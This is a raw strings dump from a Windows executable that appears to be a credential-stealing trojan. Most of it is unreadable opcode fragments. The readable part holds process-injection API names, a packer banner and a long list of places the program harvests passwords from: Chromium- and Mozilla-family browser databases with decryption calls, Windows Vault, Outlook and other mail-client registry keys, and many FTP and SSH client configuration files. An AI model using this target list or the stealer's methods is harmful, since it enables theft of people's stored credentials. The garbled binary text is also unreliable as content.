!This program cannot be run in DOS mode.
`.rdata
@.data
9D$(ub
L$(9L$@
v89l$D|0
uM9l$D}G
D$0;D$(
9|$4r4
9|$4r4
+L$PRQW
+D$P][_^
AP32uS
L$<+L$
L$<+L$
L$<+L$
XjTZj3f
XjNYjEf
Xjr^jlf
ZjPXjIf
Xj2_jSf
je[j3f
ZjHXjEf
WWhM8g
t8VVh@
QVVVWVV
tCVVh[
YYGt]h
WWhQ]V
QSSSSSSh
WWh_*y
WWh_*y
SWh0QA
uiSShx
t{;Atsv
u.hpSA
QQQQQQRP
uWSVW3
u.hTSA
[Sh@TA
>versu
VVVQPR
t hPZA
u8hXaA
tOWVhPeA
t-Sh,dA
tOSVWh
tOSVWh
t3hPdA
tOSVWh
tOSVWh
tOSVWh
tJSVWh
t3hPdA
_PSh\QA
t2Wh@?
QWWWVWWW
uVhpiA
WVhTlA
j*XjMf
XjiYjlf
HSVWjAXjcYjof
Xjt[j*f
Xjf_j%f
Yj\ZjDf
Xje^jkf
YjSXjof
HSVWj%Xjsf
Xji[jlf
Xjo^jt_jfZjef
XjrYjPf
jmXjlf
pSVWj%ZjS^jYXjTf
XjEYjMf
ZjoXjff
Xja[jrf
Xje_jnf
ji^jlZjgf
Yj\XjD_jtf
_jmXj.f
SVWjSXjof
Xjr[je^j\ZjWf
XjiYjn_jCf
YjUXjAf
DSVWj%Xjsf
Xje[jr_jaf
Xj ^jMZjiYjlf
WVh`sA
0SVWj%Xjs[j\Zj._jpYju^jrf
YjeXjaf
4SVWj%Xjsf
Xj\^jPf
Xjo_jcZjmf
XjaYji[jlf
SVWjSXjOf
XjE[j\Yjf_jl^jaf
XjkZjaf
jmZVXjp^j.f
^juYjhf
YjaXjpf
YjaXjpf
js[jmXjaYj.f
YjtZjp^jaf
[jmXjaf
ZjpXjhf
ju^jhXjef
^jpXjof
VjaXjdf
PSVWj%Xjsf
Xj\[jTf
Xju^jlYjyf
XjaZji_jDf
SVWj%Xjsf
Xj\Yjyf
Xj2ZjPf
YjOXj3f
Xj.[jx^jm_jlf
j\XjSf
Yj%Xjsf
j\XjyZjMf
XjiYj\f
VShLwA
VShhwA
7PSh|wA
umj1Xf
u.hpiA
<0u8Wh
t]VWh0
Vj*Xj.f
SVWj*Xj.f
XjnYjff
Xjs[j\_jNf
Xjo^jtZjef
YjFXjlf
HSVWj%Xjsf
XjoYjnf
Xje[jpf
Xjt_jwf
XjlZjd^j\f
YjoXjzf
j8Xj.f
SVWj*Xj.Zjpf
XjgYj%f
Zj\Xjtf
Xjc[jk_je^j\f
j%Xjsf
TSVWj%Xjs^j\[jMf
XjiZjcYjrf
XjS_jkf
j*Xj.f
8VWj%Xjs_j\^jTf
XjoZj-f
XjDYj f
YjLXjif
j%XjsYj\f
j*Xj.f
XjsYj\f
$SVWj*[j._jk^jdZjbYjxXf
(j%Xjsf
Xj ZjRf
XjoYjbf
,VWj*Xj.f
Xjb_jMf
Xji^jkYjrf
XjoZjtf
@SVWjSXjof
Xjt^jwf
Xjr[je_jFf
XjlZj YjTf
8VWjPXja^jsYjwf
XjrZjdf
jSXjof
SjcXj:f
jSXjoZjf
Xjr[jef
XjB_j Yjaf
XjiYjnf
Xjs[j\f
ZjtXjaf
YjeXjAf
VjPXjof
XjrYjSf
Sj%XjsYj\f
u@h(mA
uLh(mA
j.Xjzf
(Vj*Xj.f
XjmZjsYjc^jwf
WWh_*y
QQSVWh
tqNt*Nt
PWh\QA
jOXjLf
Xj3[j2_j.ZjdYjl^f
PPhM8g
t:WPVh
$@0123456789ABCDEF
UNIQUE
SQLite format 3
DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW
http://
https://
MachineGuid
SOFTWARE\Microsoft\Cryptography
LdrGetProcedureAddress
RtlNtStatusToDosError
RtlSetLastWin32Error
ZwQueryInformationProcess
RtlCreateUserThread
ZwAllocateVirtualMemory
NtFreeVirtualMemory
NtWriteVirtualMemory
ZwReadVirtualMemory
ZwResumeThread
last_compatible_version
password_value
username_value
origin_url
logins
VaultEnumerateItems
VaultEnumerateVaults
VaultFree
VaultGetItem
VaultOpenVault
VaultCloseVault
SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins
hostname
encryptedUsername
encryptedPassword
NSS_Init
NSS_Shutdown
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
PK11_CheckUserPassword
SECITEM_FreeItem
sqlite3_finalize
sqlite3_step
sqlite3_close
sqlite3_column_text
sqlite3_open16
sqlite3_prepare_v2
sqlite3_prepare
ffffff
CloseHandle
CreateFileW
WriteFile
ExitProcess
CryptStringToBinaryA
StrStrA
GetProcAddress
LoadLibraryW
X!2$6*9(SKiasb+!v<.qF58_qwe~QsRTYvdeTYb
string
Server
settings
server
username
protocol
LsaICryptUnprotectData
UserName
Password
MAC=%02X%02X%02XINSTALL=%08X%08Xk
Fuckav.ru
aPLib v1.01 - the smaller the better :)
Copyright (c) 1998-2009 by Joergen Ibsen, All Rights Reserved.
More information: http://www.ibsensoftware.com/
Qkkbal
getaddrinfo
freeaddrinfo
WS2_32.dll
GetLastError
SetLastError
HeapAlloc
HeapFree
GetProcessHeap
KERNEL32.dll
CoInitialize
CoUninitialize
CoCreateInstance
ole32.dll
OLEAUT32.dll
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
Windows
Program Files
%s\%s\%s%s
%s\%s%s
U2XpekVvtYq0fwsx7EDuZjrCo9GcF1B6Hl358mbznyLWdMANa4TSKJhIiOPgQR
ySeDebugPrivilege
ntdll.dll
%s\%s\User Data\Default\Login Data
%s\%s\User Data\Default\Web Data
%s%s\Login Data
%s%s\Default\Login Data
Comodo\Dragon
MapleStudio\ChromePlus
Google\Chrome
Nichrome
RockMelt
Chromium
Titan Browser
Yandex\YandexBrowser
Epic Privacy Browser
CocCoc\Browser
Vivaldi
Comodo\Chromodo
Superbird
Coowon\Coowon
Mustang Browser
360Browser\Browser
CatalinaGroup\Citrio
Google\Chrome SxS
Orbitum
Iridium
\Opera\Opera Next\data
\Opera Software\Opera Stable
\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer
\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
vaultcli.dll
tSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2
%s%02X
file:///
Software\Microsoft\Internet Explorer\TypedURLs
%s\logins.json
%s\prefs.js
%s\signons.sqlite
signons.txt
signons2.txt
signons3.txt
%s\Mozilla\Firefox\profiles.ini
%s\Mozilla\Firefox\Profiles\%s
%s\Mozilla\SeaMonkey\profiles.ini
%s\Mozilla\SeaMonkey\Profiles\%s
%s\Flock\Browser\profiles.ini
%s\Flock\Browser\Profiles\%s
%s\Thunderbird\profiles.ini
%s\Thunderbird\Profiles\%s
%s\K-Meleon\profiles.ini
%s\K-Meleon\%s
%s\Comodo\IceDragon\profiles.ini
%s\Comodo\IceDragon\Profiles\%s
%s\NETGATE Technologies\BlackHawk\profiles.ini
%s\NETGATE Technologies\BlackHawk\Profiles\%s
%s\Postbox\profiles.ini
%s\Postbox\Profiles\%s
%s\8pecxstudios\Cyberfox\profiles.ini
%s\8pecxstudios\Cyberfox\Profiles\%s
%s\Moonchild Productions\Pale Moon\profiles.ini
%s\Moonchild Productions\Pale Moon\Profiles\%s
%s\FossaMail\profiles.ini
%s\FossaMail\Profiles\%s
%s\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE}\data
Profile%i
Profiles/
%s\nss3.dll
sqlite3.dll
mozsqlite3.dll
nss3.dll
eCurrentVersion
SOFTWARE\Mozilla\Mozilla Firefox
%s\%s\Main
Install Directory
PathToExe
SOFTWARE\Mozilla\Mozilla Thunderbird
SOFTWARE\Mozilla\FossaMail
SOFTWARE\Postbox\Postbox
SOFTWARE\Mozilla\Flock
SOFTWARE\Flock\Flock
%ProgramW6432%
%s\NETGATE\Black Hawk
SOFTWARE\Mozilla\Pale Moon
%s\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE}
SOFTWARE\K-Meleon
SetupPath
SOFTWARE\ComodoGroup\IceDragon\Setup
RootDir
SOFTWARE\8pecxstudios\Cyberfox86
SOFTWARE\8pecxstudios\Cyberfox
SOFTWARE\mozilla.org\SeaMonkey
%s\Mozilla\Profiles
SOFTWARE\Mozilla\SeaMonkey
SOFTWARE\Mozilla\Waterfox
firefox.exe
kernel32.dll
sCrypt32.dll
Shlwapi.dll
%s\Opera
wand.dat
bform_password_control
form_username_control
Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete
%s\QupZilla\profiles\default\browsedata.db
InstallDir
SOFTWARE\Apple Computer, Inc.\Safari
%s\Apple Computer\Preferences\keychain.plist
%s\Apple Application Support\plutil.exe
-convert xml1 -s -o %s "%s"
%s\Data\AccCfg\Accounts.tdat
%s\Storage
Account.rec0
%s\Foxmail\mail
%SYSTEMDRIVE%
Foxmail*
EmailAddress
Technology
PopServer
PopPort
PopAccount
PopPassword
SmtpServer
SmtpPort
SmtpAccount
SmtpPassword
Software\IncrediMail\Identities
UserName
Passwd
POP3Server
POP3Port
SMTP Email Address
SMTP Server
SMTP User Name
SMTP User
POP3 Server
POP3 User Name
POP3 User
NNTP Email Address
NNTP User Name
NNTP Server
IMAP Server
IMAP User Name
IMAP User
HTTP User
HTTP Server URL
HTTPMail User Name
HTTPMail Server
POP3 Port
SMTP Port
IMAP Port
POP3 Password2
IMAP Password2
NNTP Password2
HTTPMail Password2
SMTP Password2
POP3 Password
IMAP Password
NNTP Password
HTTP Password
SMTP Password
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
%s\32BitFtp.TMP
%s\32BitFtp.ini
%s\Estsoft\ALFTP\ESTdb2.dat
%s\site.xml
%s\BitKinex\bitkinex.ds
*.bscp
LastUsedProfile
Software\Bitvise\BvSshClient
%s\BlazeFtp\site.dat
Software\FlashPeak\BlazeFtp\Settings
LastPassword
LastUser
LastAddress
LastPort
Server
Password
_Password
Software\NCH Software\ClassicFTP\FTPAccounts
%s\Cyberduck
user.config
%s\iterate_GmbH
%s\EasyFTP\data
%s\ExpanDrive
*favorites.js
drives.js
HostName
Software\Far\Plugins\FTP\Hosts
Software\Far2\Plugins\FTP\Hosts
%s\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db
%s\FileZilla\Filezilla.xml
%s\FileZilla\filezilla.xml
%s\FileZilla\recentservers.xml
%s\FileZilla\sitemanager.xml
%s\FlashFXP
*Sites.dat
*quick.dat
FtpServer
FtpUserName
FtpPassword
_FtpPassword
Software\NCH Software\Fling\Accounts
%s\FreshWebmaster\FreshFTP\FtpSites.SMF
%s\FTPBox\profiles.conf
%s\FTPGetter\Profile\servers.xml
%s\FTPGetter\servers.xml
%s\FTPInfo\ServerList.xml
%s\FTPInfo\ServerList.cfg
%s\FTP Navigator\Ftplist.txt
%s\FTP Now\sites.xml
%s\FTPShell\ftpshell.fsi
%s\.config\fullsync\profiles.xml
%s\DeluxeFTP\sites.xml
%s\GoFTP\settings\Connections.txt
JaSFtp
AbleFTP
Automize
%s\%s%i\encPwd.jsd
%s\%s%i\data\settings\sshProfiles-j.jsd
%s\%s%i\data\settings\ftpProfiles-j.jsd
Software\LinasFTP\Site Manager
%s\oZone3D\MyFTP\myftp.ini
%s\NetDrive\NDSites.ini
%s\NetDrive2\drives.dat
%s\Fastream NETFile\My FTP Links
%s\NexusFile\userdata\ftpsite.ini
%s\NexusFile\ftpsite.ini
%s\INSoftware\NovaFTP\NovaFTP.db
%s\Notepad++\plugins\config\NppFTP\NppFTP.xml
%s\Odin Secure FTP Expert\QFDefault.QFQ
%s\Odin Secure FTP Expert\SiteInfo.QFP
PublicKeyFile
TerminalType
PortNumber
Software\9bis.com\KiTTY\Sessions
Software\SimonTatham\PuTTY\Sessions
%s_dec
lsasrv.dll
lsass.exe
%s\Microsoft\Credentials
Config Path
Software\VanDyke\SecureFX
%s\Sessions
%s\SftpNetDrive
%s\Sherrod Computers\sherrod FTP\favorites
#document.favoriteManager*
%s\SmartFTP
{*.xml
%s\Staff-FTP\sites.ini
%s\Steed\bookmarks.txt
%s\SuperPutty
Sessions*
sftp://
ftp://
ftps://
http://
https://
{.:CRED:.}
{CREN}
{CRDB}
Profiles
%s\Syncovery
Syncovery.ini
%s\wcx_ftp.ini
%s\GHISLER\wcx_ftp.ini
FtpIniName
Software\Ghisler\Total Commander
%s\UltraFXP\sites.xml
%s\WinFtp Client\Favorites.dat
FSProtocol
Software\Martin Prikryl
%s\WS_FTP\WS_FTP.INI
%s\WS_FTP.INI
%s\Ipswitch
ws_ftp.ini
%s\NetSarang\Xftp\Sessions
%s\%s\%s.exe
%s\%s.%s